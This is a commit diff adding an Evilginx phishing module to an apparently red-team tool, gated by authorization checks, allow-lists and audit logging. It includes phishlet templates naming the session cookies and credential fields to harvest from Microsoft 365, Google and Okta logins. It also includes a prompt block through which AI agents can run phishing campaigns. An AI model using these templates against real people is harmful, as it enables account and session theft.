feat: add Evilginx phishing module with phishlet generation, web UI and audit gating

- harness phish module: policy/allow-lists, phishlet templates, Evilginx
  lifecycle, campaign/lure records and capture ingestion (0600 + audit.jsonl)
- disabled by default; enable requires an authorization reference; target and
  lure domains must be allow-listed; capture requires explicit opt-in; secrets
  redacted in API responses
- CLI: neurosploit phish status/enable/install/setup/start/stop/phishlet/
  campaign/capture/events
- web console: Phishing view + /api/phish routes; toolbox + .env entries
This commit is contained in:
CyberSecurityUP committed 2026-11-30 17:01:02 -03:00
1 parent 2dfd0f7797
commit f0c14141fb
13 files changed
+2473 -1

No files matched your search

+8
View File
@@ -151,3 +151,11 @@ TYPESAFE_API_KEY=
# Self-improvement review: cheap model used by `neurosploit improve`.
#NEUROSPLOIT_IMPROVE_MODEL=deepseek:deepseek-chat
# ------------------------------------------------------------------
# Phishing / Evilginx (authorized engagements only).
# The module is disabled by default and requires:
# neurosploit phish enable --authorization "SOW/ticket/URL"
# State, generated phishlets and captures live under .neurosploit/phish/.
#NEUROSPLOIT_PHISH_DIR=.neurosploit/phish
#NEUROSPLOIT_PHISH_OUTPUT_CAP=65536
+8
View File
@@ -1,6 +1,7 @@
//! NeuroSploit — interactive harness + CLI (`run` / `whitebox` / `agents` / `models`).
mod c2cli;
mod phishcli;
mod toolscli;
mod keycli;
mod rectify;
@@ -400,6 +401,12 @@ enum Cmd {
#[command(subcommand)]
cmd: c2cli::WebshellCmd,
},
/// Phishing (Evilginx) for authorized engagements: phishlets, lures and
/// capture — opt-in, domain allow-list, fully audited.
Phish {
#[command(subcommand)]
cmd: phishcli::PhishCmd,
},
/// Run NeuroSploit as an MCP server (stdio) so Claude Code, Codex, Cursor
/// and other MCP clients can drive it as a set of tools.
Mcp,
@@ -1337,6 +1344,7 @@ async fn main() -> anyhow::Result<()> {
}
Cmd::C2 { cmd } => { c2cli::handle_c2(cmd).await?; }
Cmd::Webshell { cmd } => { c2cli::handle_webshell(cmd).await?; }
Cmd::Phish { cmd } => { phishcli::handle_phish(cmd).await?; }
Cmd::Mcp => { mcp::serve()?; }
Cmd::Rebuild { run } => {
// Accept either a path or a bare run id, resolved against the same
+417
View File
@@ -0,0 +1,417 @@
//! `neurosploit phish …` command surface.
//!
//! Thin wrapper over `harness::phish::PhishManager`, which owns the phishlet
//! store, Evilginx lifecycle and capture log. Disabled by default: every
//! mutation fails closed until the operator enables it with an authorization
//! reference. The web console drives these same verbs.
use clap::Subcommand;
use serde_json::{json, Value};
#[derive(Subcommand)]
pub enum PhishCmd {
/// Show policy, Evilginx status, phishlets, campaigns, captures and events.
Status {
#[arg(long)]
json: bool,
},
/// Enable phishing for this engagement. Requires an authorization reference.
Enable {
/// SOW / ticket / bug-bounty URL authorizing this work.
#[arg(long)]
authorization: String,
/// Authorized target brand domain (repeatable).
#[arg(long = "domain")]
domains: Vec<String>,
/// Operator-owned lure domain (repeatable).
#[arg(long = "phishing-domain")]
phishing_domains: Vec<String>,
/// Allow targets outside the allow-lists (explicit opt-in).
#[arg(long)]
allow_public: bool,
/// Persist captured credentials (explicit opt-in).
#[arg(long)]
allow_capture: bool,
/// Public IP/host Evilginx advertises.
#[arg(long)]
server_ip: Option<String>,
#[arg(long)]
json: bool,
},
/// Disable phishing and stop Evilginx.
Disable {
#[arg(long)]
json: bool,
},
/// Update the stored policy without re-enabling.
Policy {
#[arg(long)]
authorized_by: Option<String>,
#[arg(long)]
allow_public: Option<bool>,
#[arg(long)]
allow_capture: Option<bool>,
#[arg(long = "domain")]
domains: Vec<String>,
#[arg(long = "phishing-domain")]
phishing_domains: Vec<String>,
#[arg(long)]
server_ip: Option<String>,
#[arg(long)]
json: bool,
},
/// Clone and build Evilginx under the state directory.
Install {
#[arg(long)]
json: bool,
},
/// Write the Evilginx config for a lure domain.
Setup {
#[arg(long)]
server_ip: String,
#[arg(long)]
domain: String,
#[arg(long = "phishing-domain")]
phishing_domains: Vec<String>,
#[arg(long)]
json: bool,
},
/// Start Evilginx (detached) with the configured phishlets directory.
Start {
#[arg(long)]
json: bool,
},
/// Stop the detached Evilginx process.
Stop {
#[arg(long)]
json: bool,
},
/// Show Evilginx install / run status.
EvilginxStatus {
#[arg(long)]
json: bool,
},
/// Phishlet management.
Phishlet {
#[command(subcommand)]
cmd: PhishletCmd,
},
/// Campaign / lure management.
Campaign {
#[command(subcommand)]
cmd: CampaignCmd,
},
/// Captured credential management.
Capture {
#[command(subcommand)]
cmd: CaptureCmd,
},
/// Recent audit events from the phishing module.
Events {
#[arg(long, default_value_t = 50)]
limit: usize,
#[arg(long)]
json: bool,
},
}
#[derive(Subcommand)]
pub enum PhishletCmd {
/// List phishlets and available templates.
List {
#[arg(long)]
json: bool,
},
/// Show a phishlet record and its YAML.
Get {
name: String,
#[arg(long)]
json: bool,
},
/// Generate a phishlet from a template for an authorized target domain.
Create {
#[arg(long)]
name: String,
#[arg(long)]
target_domain: String,
#[arg(long, default_value = "generic")]
template: String,
#[arg(long)]
note: Option<String>,
#[arg(long)]
json: bool,
},
/// Delete a phishlet file and record.
Delete {
name: String,
#[arg(long)]
json: bool,
},
/// Mark a phishlet as deployed to the Evilginx phishlets directory.
Deploy {
name: String,
#[arg(long)]
json: bool,
},
}
#[derive(Subcommand)]
pub enum CampaignCmd {
/// List campaigns / lures.
List {
#[arg(long)]
json: bool,
},
/// Create a lure for a phishlet on an operator-owned hostname.
Create {
#[arg(long)]
name: String,
#[arg(long)]
phishlet: String,
#[arg(long)]
hostname: String,
#[arg(long)]
redirect_url: Option<String>,
#[arg(long)]
note: Option<String>,
#[arg(long)]
json: bool,
},
/// Delete a campaign.
Delete {
id: String,
#[arg(long)]
json: bool,
},
/// Mark a campaign active.
Start {
id: String,
#[arg(long)]
json: bool,
},
/// Mark a campaign stopped.
Stop {
id: String,
#[arg(long)]
json: bool,
},
}
#[derive(Subcommand)]
pub enum CaptureCmd {
/// List captured credentials (secrets redacted).
List {
#[arg(long, default_value_t = 100)]
limit: usize,
#[arg(long)]
json: bool,
},
/// Scrape the Evilginx log (or an exported file) for new captures.
Sync {
#[arg(long)]
file: Option<String>,
#[arg(long)]
campaign: Option<String>,
#[arg(long)]
phishlet: Option<String>,
#[arg(long)]
hostname: Option<String>,
#[arg(long)]
json: bool,
},
/// Record a capture manually.
Add {
#[arg(long)]
username: String,
#[arg(long)]
password: String,
#[arg(long)]
cookies: Option<String>,
#[arg(long)]
campaign: Option<String>,
#[arg(long)]
phishlet: Option<String>,
#[arg(long)]
hostname: Option<String>,
#[arg(long)]
json: bool,
},
}
pub async fn handle_phish(cmd: PhishCmd) -> anyhow::Result<()> {
let mgr = harness::phish::PhishManager::open(harness::phish::phish_dir())
.await
.map_err(|e| anyhow::anyhow!(e))?;
let out: Value = match cmd {
PhishCmd::Status { .. } => Ok(mgr.status().await),
PhishCmd::Enable {
authorization,
domains,
phishing_domains,
allow_public,
allow_capture,
server_ip,
..
} => {
mgr.enable(
&authorization,
domains,
phishing_domains,
allow_public,
allow_capture,
server_ip.unwrap_or_default(),
)
.await
}
PhishCmd::Disable { .. } => Ok(mgr.disable().await),
PhishCmd::Policy {
authorized_by,
allow_public,
allow_capture,
domains,
phishing_domains,
server_ip,
..
} => {
let mut patch = serde_json::Map::new();
if let Some(v) = authorized_by {
patch.insert("authorized_by".into(), json!(v));
}
if let Some(v) = allow_public {
patch.insert("allow_public".into(), json!(v));
}
if let Some(v) = allow_capture {
patch.insert("allow_capture".into(), json!(v));
}
if let Some(v) = server_ip {
patch.insert("server_ip".into(), json!(v));
}
if !domains.is_empty() {
patch.insert("allowed_domains".into(), json!(domains));
}
if !phishing_domains.is_empty() {
patch.insert("phishing_domains".into(), json!(phishing_domains));
}
mgr.set_policy(&Value::Object(patch)).await
}
PhishCmd::Install { .. } => mgr.install().await,
PhishCmd::Setup {
server_ip,
domain,
phishing_domains,
..
} => mgr.setup(&server_ip, &domain, phishing_domains).await,
PhishCmd::Start { .. } => mgr.start().await,
PhishCmd::Stop { .. } => mgr.stop().await,
PhishCmd::EvilginxStatus { .. } => Ok(mgr.evilginx_status().await),
PhishCmd::Phishlet { cmd } => handle_phishlet(&mgr, cmd).await,
PhishCmd::Campaign { cmd } => handle_campaign(&mgr, cmd).await,
PhishCmd::Capture { cmd } => handle_capture(&mgr, cmd).await,
PhishCmd::Events { limit, .. } => Ok(mgr.events(limit).await),
}
.map_err(|e: String| anyhow::anyhow!(e))?;
println!(
"{}",
serde_json::to_string_pretty(&out).unwrap_or_else(|_| "{}".into())
);
Ok(())
}
async fn handle_phishlet(
mgr: &std::sync::Arc<harness::phish::PhishManager>,
cmd: PhishletCmd,
) -> Result<Value, String> {
match cmd {
PhishletCmd::List { .. } => Ok(mgr.phishlet_list().await),
PhishletCmd::Get { name, .. } => mgr.phishlet_get(&name).await,
PhishletCmd::Create {
name,
target_domain,
template,
note,
..
} => {
mgr.phishlet_create(&name, &target_domain, &template, &note.unwrap_or_default())
.await
}
PhishletCmd::Delete { name, .. } => mgr.phishlet_delete(&name).await,
PhishletCmd::Deploy { name, .. } => mgr.phishlet_deploy(&name).await,
}
}
async fn handle_campaign(
mgr: &std::sync::Arc<harness::phish::PhishManager>,
cmd: CampaignCmd,
) -> Result<Value, String> {
match cmd {
CampaignCmd::List { .. } => Ok(mgr.campaign_list().await),
CampaignCmd::Create {
name,
phishlet,
hostname,
redirect_url,
note,
..
} => {
mgr.campaign_create(
&name,
&phishlet,
&hostname,
&redirect_url.unwrap_or_default(),
&note.unwrap_or_default(),
)
.await
}
CampaignCmd::Delete { id, .. } => mgr.campaign_delete(&id).await,
CampaignCmd::Start { id, .. } => mgr.campaign_start(&id).await,
CampaignCmd::Stop { id, .. } => mgr.campaign_stop(&id).await,
}
}
async fn handle_capture(
mgr: &std::sync::Arc<harness::phish::PhishManager>,
cmd: CaptureCmd,
) -> Result<Value, String> {
match cmd {
CaptureCmd::List { limit, .. } => Ok(mgr.capture_list(limit).await),
CaptureCmd::Sync {
file,
campaign,
phishlet,
hostname,
..
} => {
mgr.capture_sync(
file,
&campaign.unwrap_or_default(),
&phishlet.unwrap_or_default(),
&hostname.unwrap_or_default(),
)
.await
}
CaptureCmd::Add {
username,
password,
cookies,
campaign,
phishlet,
hostname,
..
} => {
mgr.capture_import(
&campaign.unwrap_or_default(),
&phishlet.unwrap_or_default(),
&hostname.unwrap_or_default(),
&username,
&password,
&cookies.unwrap_or_default(),
"",
"",
"manual",
)
.await
}
}
}
+1
View File
@@ -20,6 +20,7 @@ pub mod cache;
pub mod capability;
pub mod c2;
pub mod chain;
pub mod phish;
pub mod claims;
pub mod cold_digest;
pub mod collection;
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,88 @@
//! Phishing / Adversary-in-the-Middle (Evilginx) engagement module.
//!
//! Opt-in, auditable phishing for **authorized red-team engagements**. It
//! mirrors the C2 safety model:
//! * disabled by default; enabling requires an authorization reference;
//! * a target brand domain must be explicitly allow-listed (or `--allow-public`);
//! * the phishing domain that serves lures must be operator-owned / allow-listed;
//! * capturing credentials needs its own opt-in;
//! * every mutation is appended to `<dir>/audit.jsonl`;
//! * state and generated phishlets are written with 0600 permissions and
//! secrets are redacted in API/`safe()` projections.
//!
//! The CLI, MCP and web console all drive the same `PhishManager`, so there is
//! exactly one implementation of phishlet generation, Evilginx lifecycle and
//! capture ingestion.
mod manager;
mod store;
mod templates;
mod types;
pub use manager::PhishManager;
pub use types::{Campaign, Capture, Event, PhishPolicy, PhishState, Phishlet};
use std::path::PathBuf;
use std::sync::atomic::{AtomicU64, Ordering};
use std::time::{SystemTime, UNIX_EPOCH};
pub(crate) const STATE_VERSION: u32 = 1;
pub(crate) const EVENT_CAP: usize = 1000;
pub(crate) const CAPTURE_CAP: usize = 5000;
pub(crate) const OUTPUT_CAP: usize = 64 * 1024;
static ID_SEQ: AtomicU64 = AtomicU64::new(1);
/// Root directory for phishing state. Mirrors the console's `.neurosploit/`
/// layout; override with `NEUROSPLOIT_PHISH_DIR`.
pub fn phish_dir() -> PathBuf {
if let Ok(p) = std::env::var("NEUROSPLOIT_PHISH_DIR") {
if !p.trim().is_empty() {
return PathBuf::from(p);
}
}
std::env::current_dir()
.unwrap_or_else(|_| PathBuf::from("."))
.join(".neurosploit")
.join("phish")
}
pub(crate) fn now_ms() -> i64 {
SystemTime::now()
.duration_since(UNIX_EPOCH)
.map(|d| d.as_millis() as i64)
.unwrap_or(0)
}
pub(crate) fn new_id(prefix: &str) -> String {
let n = ID_SEQ.fetch_add(1, Ordering::Relaxed);
let t = SystemTime::now()
.duration_since(UNIX_EPOCH)
.map(|d| d.as_nanos())
.unwrap_or(0);
format!("{prefix}_{t:x}{n:x}")
}
pub(crate) fn clip(s: String) -> String {
crate::limits::clip(
&s,
crate::limits::env_cap("NEUROSPLOIT_PHISH_OUTPUT_CAP", OUTPUT_CAP),
)
}
/// Phishing doctrine a caller can inject into agent prompts when the module is
/// enabled, so the model plans with the same guardrails the manager enforces.
pub fn doctrine() -> &'static str {
"PHISHING / AiTM (authorized engagement, opt-in): a local NeuroSploit \
phishing manager (Evilginx) is available for this run. Use it only against brands \
and domains you are explicitly authorized to simulate, and only from a lure domain \
the client owns.\n\
• Inspect: `neurosploit phish status --json`.\n\
• Create a phishlet (requires the target brand in the allow-list): \
`neurosploit phish phishlet create --name <n> --target-domain <login.example.com> --template generic --json`.\n\
• Create a lure: `neurosploit phish campaign create --name <n> --phishlet <n> --hostname <lure.example.com> --json`.\n\
• Lifecycle: `neurosploit phish install|setup|start|stop --json`.\n\
• Captures (only if enabled): `neurosploit phish capture list|sync --json`.\n\
Rules: never target brands/people outside the signed scope; prefer test accounts; \
never run this without written authorization. The web console drives the same verbs."
}
@@ -0,0 +1,137 @@
use std::io::Write;
use std::path::{Path, PathBuf};
use serde_json::{json, Value};
use tokio::sync::RwLock;
use super::{now_ms, PhishState, STATE_VERSION};
pub(crate) struct PhishStore {
pub(crate) dir: PathBuf,
pub(crate) state: RwLock<PhishState>,
}
impl PhishStore {
pub(crate) fn open(dir: &Path) -> std::io::Result<Self> {
std::fs::create_dir_all(dir)?;
for sub in ["phishlets", "lures", "logs", "evilginx"] {
std::fs::create_dir_all(dir.join(sub))?;
}
let path = dir.join("state.json");
let state = match std::fs::read(&path) {
Ok(bytes) => match serde_json::from_slice::<PhishState>(&bytes) {
Ok(mut s) => {
if s.version == 0 {
s.version = STATE_VERSION;
}
s
}
Err(_) => {
let backup = dir.join(format!("state.corrupt-{}.json", now_ms()));
let _ = std::fs::rename(&path, &backup);
PhishState::default()
}
},
Err(e) if e.kind() == std::io::ErrorKind::NotFound => PhishState::default(),
Err(e) => return Err(e),
};
Ok(Self {
dir: dir.to_path_buf(),
state: RwLock::new(state),
})
}
pub(crate) async fn snapshot(&self) -> PhishState {
self.state.read().await.clone()
}
async fn save_locked(&self, state: &PhishState) -> std::io::Result<()> {
let bytes = serde_json::to_vec_pretty(state)?;
write_private(&self.dir.join("state.json"), &bytes)
}
pub(crate) async fn mutate<R>(&self, f: impl FnOnce(&mut PhishState) -> R) -> R {
let mut guard = self.state.write().await;
let out = f(&mut guard);
if let Err(e) = self.save_locked(&guard).await {
eprintln!("[phish] could not persist state: {e}");
}
out
}
pub(crate) fn audit(&self, action: &str, detail: Value) {
let rec = json!({
"ts": now_ms(),
"action": action,
"detail": detail,
});
let line = format!("{rec}\n");
let _ = append_private(&self.dir.join("audit.jsonl"), line.as_bytes());
}
}
pub(crate) fn write_private(path: &Path, bytes: &[u8]) -> std::io::Result<()> {
let tmp = path.with_extension("tmp");
{
let mut f = std::fs::File::create(&tmp)?;
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
let _ = f.set_permissions(std::fs::Permissions::from_mode(0o600));
}
f.write_all(bytes)?;
f.sync_all()?;
}
if path.exists() {
let _ = std::fs::remove_file(path);
}
std::fs::rename(&tmp, path)
}
pub(crate) fn write_executable(path: &Path, bytes: &[u8]) -> std::io::Result<()> {
write_private(path, bytes)?;
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
let _ = std::fs::set_permissions(path, std::fs::Permissions::from_mode(0o700));
}
Ok(())
}
fn append_private(path: &Path, bytes: &[u8]) -> std::io::Result<()> {
let mut opts = std::fs::OpenOptions::new();
opts.create(true).append(true);
#[cfg(unix)]
{
use std::os::unix::fs::OpenOptionsExt;
opts.mode(0o600);
}
let mut f = opts.open(path)?;
f.write_all(bytes)?;
Ok(())
}
// ---------------------------------------------------------------------------
// Domain guardrails
// ---------------------------------------------------------------------------
/// Match a host against an allow-list of exact hosts, `*.dom` or `.dom` entries.
pub(crate) fn domain_matches_allowlist(host: &str, patterns: &[String]) -> bool {
let h = host.trim().trim_end_matches('.').to_ascii_lowercase();
if h.is_empty() {
return false;
}
patterns.iter().any(|p| {
let p = p.trim().trim_end_matches('.').to_ascii_lowercase();
if p.is_empty() {
return false;
}
if let Some(suffix) = p.strip_prefix("*.") {
return h == suffix || h.ends_with(&format!(".{suffix}"));
}
if let Some(suffix) = p.strip_prefix('.') {
return h == suffix || h.ends_with(&format!(".{suffix}"));
}
h == p
})
}
@@ -0,0 +1,132 @@
//! Evilginx phishlet templates.
//!
//! These are *starting points* for authorized simulations. A generated phishlet
//! still needs operator review — fetch/replace rules and cookie/scoping depend
//! on the specific target application. Rendering never performs network access.
/// Selectable templates exposed in the CLI/UI.
pub fn templates() -> [&'static str; 4] {
["generic", "microsoft365", "google", "okta"]
}
fn split_domain(domain: &str) -> (String, String) {
let labels: Vec<&str> = domain
.trim()
.trim_matches('.')
.split('.')
.filter(|s| !s.is_empty())
.collect();
match labels.len() {
0 => ("www".to_string(), domain.to_string()),
1 => ("www".to_string(), labels[0].to_string()),
2 => ("www".to_string(), labels.join(".")),
_ => {
let sub = labels[..labels.len() - 2].join(".");
let root = labels[labels.len() - 2..].join(".");
(sub, root)
}
}
}
fn auth_tokens(template: &str, root: &str) -> (String, Vec<&'static str>) {
match template {
"microsoft365" => (
format!(".{root}"),
vec![
"ESTSAUTH",
"ESTSAUTHPERSISTENT",
"ESTSAUTHLIGHT",
"SignInStateCookie",
],
),
"google" => (
format!(".{root}"),
vec![
"SID",
"HSID",
"SSID",
"APISID",
"SAPISID",
"__Secure-1PSID",
"__Secure-3PSID",
],
),
"okta" => (format!(".{root}"), vec!["sid", "DT", "JSESSIONID"]),
_ => (
format!(".{root}"),
vec!["session", "sessionid", "remember_token", "sid", "auth_token"],
),
}
}
fn credential_fields(template: &str) -> (&'static str, &'static str) {
match template {
"microsoft365" => ("login", "passwd"),
"google" => ("identifier", "Passwd"),
"okta" => ("username", "password"),
_ => ("username", "password"),
}
}
fn login_path(template: &str) -> &'static str {
match template {
"microsoft365" => "/",
"google" => "/",
"okta" => "/",
_ => "/",
}
}
/// Render a phishlet YAML for `target_domain` using the chosen template.
pub fn render(name: &str, target_domain: &str, template: &str) -> String {
let template = if templates().contains(&template) {
template
} else {
"generic"
};
let (sub, root) = split_domain(target_domain);
let (token_domain, keys) = auth_tokens(template, &root);
let (ufield, pfield) = credential_fields(template);
let path = login_path(template);
let keys_yaml: Vec<String> = keys.iter().map(|k| format!("'{k}'")).collect();
format!(
"# phishlet: {name}
# generated by NeuroSploit from the '{template}' template — REVIEW before use.
# Authorized simulated phishing only. Verify proxy_hosts / sub_filters / auth_tokens
# against the real target application before starting a campaign.
author: '@neurosploit'
min_ver: '2.3.0'
proxy_hosts:
- {{phish_sub: '{sub}', orig_sub: '{sub}', domain: '{root}', session: true, is_landing: true}}
- {{phish_sub: 'www', orig_sub: 'www', domain: '{root}', session: false, is_landing: false}}
sub_filters:
- {{triggers_on: '{root}', orig_sub: '{sub}', domain: '{root}', search: '//{sub}.{root}', replace: '//{{hostname}}', mimes: ['text/html', 'application/json', 'application/javascript']}}
- {{triggers_on: '{root}', orig_sub: 'www', domain: '{root}', search: '//www.{root}', replace: '//{{hostname}}', mimes: ['text/html', 'application/json']}}
auth_tokens:
- domain: '{token_domain}'
keys: [{keys}]
credentials:
username:
key: '{ufield}'
search: '(.*)'
type: 'post'
password:
key: '{pfield}'
search: '(.*)'
type: 'post'
login:
domain: '{sub}.{root}'
path: '{path}'
",
name = name,
template = template,
sub = sub,
root = root,
token_domain = token_domain,
keys = keys_yaml.join(", "),
ufield = ufield,
pfield = pfield,
path = path,
)
}
@@ -0,0 +1,176 @@
use serde::{Deserialize, Serialize};
use serde_json::{json, Value};
use super::{now_ms, EVENT_CAP, STATE_VERSION};
/// Operator authorization and guardrails. Persisted so every restarted
/// session enforces the same boundary.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct PhishPolicy {
pub enabled: bool,
/// Free-text reference to the engagement authorization (SOW / ticket /
/// bug-bounty URL). Required to enable.
pub authorized_by: String,
/// Target brand domains the operator is authorized to impersonate
/// (e.g. `login.microsoftonline.com`, `*.corp.example`).
pub allowed_domains: Vec<String>,
/// Domains the operator controls and may serve lures from
/// (e.g. `*.phish-lab.example`).
pub phishing_domains: Vec<String>,
/// Explicit opt-in for target/phishing domains outside the allow-lists.
pub allow_public: bool,
/// Explicit opt-in: captured credentials may be persisted.
pub allow_capture: bool,
/// Public IP/host Evilginx advertises in lures.
pub server_ip: String,
pub max_campaigns: usize,
}
impl Default for PhishPolicy {
fn default() -> Self {
Self {
enabled: false,
authorized_by: String::new(),
allowed_domains: Vec::new(),
phishing_domains: Vec::new(),
allow_public: false,
allow_capture: false,
server_ip: String::new(),
max_campaigns: 8,
}
}
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Phishlet {
pub id: String,
pub name: String,
/// Brand domain being impersonated.
pub target_domain: String,
/// Template used to render the phishlet.
pub template: String,
/// Absolute path to the generated `.yaml`.
pub path: String,
pub deployed: bool,
pub created_at: i64,
pub note: String,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Campaign {
pub id: String,
pub name: String,
pub phishlet: String,
/// Operator-owned domain served by Evilginx.
pub hostname: String,
pub redirect_url: String,
pub lure_url: String,
/// `draft` | `active` | `stopped`
pub status: String,
pub created_at: i64,
pub note: String,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Capture {
pub id: String,
pub ts: i64,
pub campaign: String,
pub phishlet: String,
pub hostname: String,
pub username: String,
/// Secret — never returned by `safe()`.
pub password: String,
/// Secret — never returned by `safe()`.
pub cookies: String,
pub client_ip: String,
pub user_agent: String,
pub source: String,
}
impl Capture {
/// Public projection: identifiers only, secrets redacted.
pub fn safe(&self) -> Value {
json!({
"id": self.id,
"ts": self.ts,
"campaign": self.campaign,
"phishlet": self.phishlet,
"hostname": self.hostname,
"username": self.username,
"password_set": !self.password.is_empty(),
"cookie_count": cookie_count(&self.cookies),
"client_ip": self.client_ip,
"user_agent": self.user_agent,
"source": self.source,
})
}
}
fn cookie_count(cookies: &str) -> usize {
let c = cookies.trim();
if c.is_empty() {
return 0;
}
if let Ok(v) = serde_json::from_str::<Value>(c) {
if let Some(o) = v.as_object() {
return o.len();
}
if let Some(a) = v.as_array() {
return a.len();
}
}
c.split(';').filter(|s| !s.trim().is_empty()).count()
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Event {
pub ts: i64,
pub level: String,
pub kind: String,
pub message: String,
pub data: Value,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct PhishState {
pub version: u32,
pub policy: PhishPolicy,
pub phishlets: Vec<Phishlet>,
pub campaigns: Vec<Campaign>,
pub captures: Vec<Capture>,
pub events: Vec<Event>,
}
impl Default for PhishState {
fn default() -> Self {
Self {
version: STATE_VERSION,
policy: PhishPolicy::default(),
phishlets: Vec::new(),
campaigns: Vec::new(),
captures: Vec::new(),
events: Vec::new(),
}
}
}
pub fn push_event(
state: &mut PhishState,
level: &str,
kind: &str,
message: impl Into<String>,
data: Value,
) {
state.events.push(Event {
ts: now_ms(),
level: level.into(),
kind: kind.into(),
message: message.into(),
data,
});
if state.events.len() > EVENT_CAP {
let drop = state.events.len() - EVENT_CAP;
state.events.drain(0..drop);
}
}
+18
View File
@@ -4046,6 +4046,24 @@
"apt": "libimobiledevice-utils"
},
"mcp": null
},
{
"id": "evilginx",
"name": "Evilginx (AiTM phishing)",
"binary": "evilginx2",
"category": "creds",
"description": "Adversary-in-the-middle phishing proxy for authorized red-team engagements; manage via `neurosploit phish` (install/setup/phishlet/campaign/capture).",
"usage": "evilginx2 -p {target}",
"tags": [
"phishing",
"aitm",
"credentials",
"session-token"
],
"intrusive": true,
"requires_root": false,
"install": {},
"mcp": null
}
]
}
+327 -1
View File
@@ -139,7 +139,7 @@ function clearFieldErrors() { $$('.field-error').forEach((el) => { el.textConten
// view navigation
// ---------------------------------------------------------------------------
const ALL_VIEWS = ['homeView','dashView','wizardView','liveView','detailView','pentestsView','prreviewsView','issuesView','reposView','projectsView','domainsView','networksView','vaultView','guardrailsView','integrationsView','settingsView','c2View','toolboxView'];
const ALL_VIEWS = ['homeView','dashView','wizardView','liveView','detailView','pentestsView','prreviewsView','issuesView','reposView','projectsView','domainsView','networksView','vaultView','guardrailsView','integrationsView','settingsView','c2View','phishView','toolboxView'];
function switchView(viewName) {
state.activeView = viewName;
@@ -164,6 +164,7 @@ function switchView(viewName) {
if (viewName === 'vault') loadVault();
if (viewName === 'guardrails') loadGuardrails();
if (viewName === 'c2') loadC2();
if (viewName === 'phish') loadPhish();
if (viewName === 'toolbox') loadToolbox();
if (viewName === 'dash') renderDashboard();
if (viewName === 'home') renderHome();
@@ -3948,6 +3949,331 @@ document.addEventListener('click', async (ev) => {
$('#btnC2Refresh')?.addEventListener('click', () => loadC2());
// ---------------------------------------------------------------------------
// Phishing (Evilginx) — opt-in AiTM phishing orchestration for authorized work
// ---------------------------------------------------------------------------
const phishState = { data: null, tab: 'phishlets', output: '', yaml: null, timer: null };
async function loadPhish() {
if (state.activeView !== 'phish') return;
const body = $('#phishBody');
try {
const data = await api('/api/phish/status');
phishState.data = data;
renderPhish();
if (!phishState.timer) {
phishState.timer = setInterval(() => {
if (state.activeView === 'phish') loadPhish();
}, 6000);
}
} catch (e) {
if (body) body.innerHTML = `<div class="empty-state">Phishing unavailable — ${esc(e.message)}</div>`;
}
}
function renderPhish() {
const body = $('#phishBody');
if (!body) return;
const d = phishState.data || {};
const p = d.policy || {};
const evil = d.evilginx || {};
if (!p.enabled) {
body.innerHTML = `
<div class="config-card" style="max-width:820px;margin:24px auto;">
<div class="config-card-title">Phishing (Evilginx) is disabled</div>
<div class="config-card-desc">
This layer is opt-in and auditable and exists for <b>authorized red-team engagements only</b>.
You must name the target brand domains you are authorized to impersonate and the lure domains you
own. Credential capture requires a separate opt-in. State and the audit trail live under
<code>.neurosploit/phish/</code>.
</div>
<div class="form-group">
<label for="phAuth">Authorization reference (required)</label>
<input id="phAuth" type="text" placeholder="SOW / ticket / bug-bounty URL" />
<div class="field-help">Recorded in every audit entry.</div>
</div>
<div class="form-group">
<label>Authorized target brand domains (comma-separated)</label>
<input id="phDomains" type="text" placeholder="login.microsoftonline.com · *.corp.example" />
<div class="field-help">Phishlets may only impersonate these domains (unless allow-public is set).</div>
</div>
<div class="form-group">
<label>Operator-owned lure domains (comma-separated)</label>
<input id="phPhishingDomains" type="text" placeholder="*.phish-lab.example" />
<div class="field-help">Campaigns may only serve lures from these domains.</div>
</div>
<div class="form-group">
<label>Evilginx public server IP / host (optional)</label>
<input id="phServerIp" type="text" placeholder="203.0.113.10" />
</div>
<div class="check-row"><input type="checkbox" id="phAllowCapture" /> <label for="phAllowCapture">Allow <b>credential capture</b> to be persisted</label></div>
<div class="check-row"><input type="checkbox" id="phAllowPublic" /> <label for="phAllowPublic">Allow domains outside the allow-lists (explicit opt-in)</label></div>
<div class="config-card-actions">
<button class="btn btn-accent" data-phish-action="enable">Enable phishing</button>
</div>
<div class="field-error" id="phEnableError"></div>
</div>`;
return;
}
const counts = d.counts || {};
const tabs = [['phishlets','Phishlets'],['campaigns','Campaigns'],['captures','Captures'],['events','Events']];
body.innerHTML = `
<div class="config-card" style="margin-bottom:16px;">
<div class="config-card-title">
Phishing enabled ${c2Badge(true, 'ON', 'OFF')}
${c2Badge(!!p.allow_capture, 'capture', 'no capture')}
${c2Badge(!!p.allow_public, 'public', 'allow-list only')}
<span class="config-card-meta" style="margin-left:auto;">auth: ${esc(p.authorized_by || '—')}</span>
</div>
<div class="config-card-desc" style="margin-bottom:8px;">
${counts.phishlets || 0} phishlets · ${counts.campaigns_active || 0} active / ${counts.campaigns || 0} campaigns · ${counts.captures || 0} captures.
<span class="mono">server_ip: ${esc(p.server_ip || '—')}</span>
</div>
<div class="config-card-desc" style="margin-bottom:8px;">
Evilginx ${c2Badge(!!evil.installed, 'installed', 'not installed')} ${c2Badge(!!evil.running, 'running', 'stopped')}
<span class="mono" style="margin-left:8px;">${esc(evil.binary || '')}</span>
<span class="mono" style="margin-left:8px;">log: ${esc(evil.log_path || '')}</span>
</div>
<div class="config-card-actions" style="border-top:none;padding-top:0;margin-top:0;">
<button class="btn btn-sm" data-phish-action="install">Install / build</button>
<button class="btn btn-sm" data-phish-action="start">Start Evilginx</button>
<button class="btn btn-sm" data-phish-action="stop">Stop Evilginx</button>
<button class="btn btn-sm" data-phish-action="disable">Disable phishing</button>
<button class="btn btn-sm" data-phish-action="refresh">Refresh</button>
</div>
<div class="field-row" style="margin-top:12px;">
<div class="field-group"><label class="field-label" for="phSetupIp">Server IP</label><input id="phSetupIp" value="${esc(p.server_ip || '')}" placeholder="203.0.113.10" /></div>
<div class="field-group"><label class="field-label" for="phSetupDomain">Lure domain</label><input id="phSetupDomain" placeholder="phish-lab.example" /></div>
<div class="field-group" style="flex:0 0 auto;display:flex;align-items:flex-end;"><button class="btn" data-phish-action="setup">Write Evilginx config</button></div>
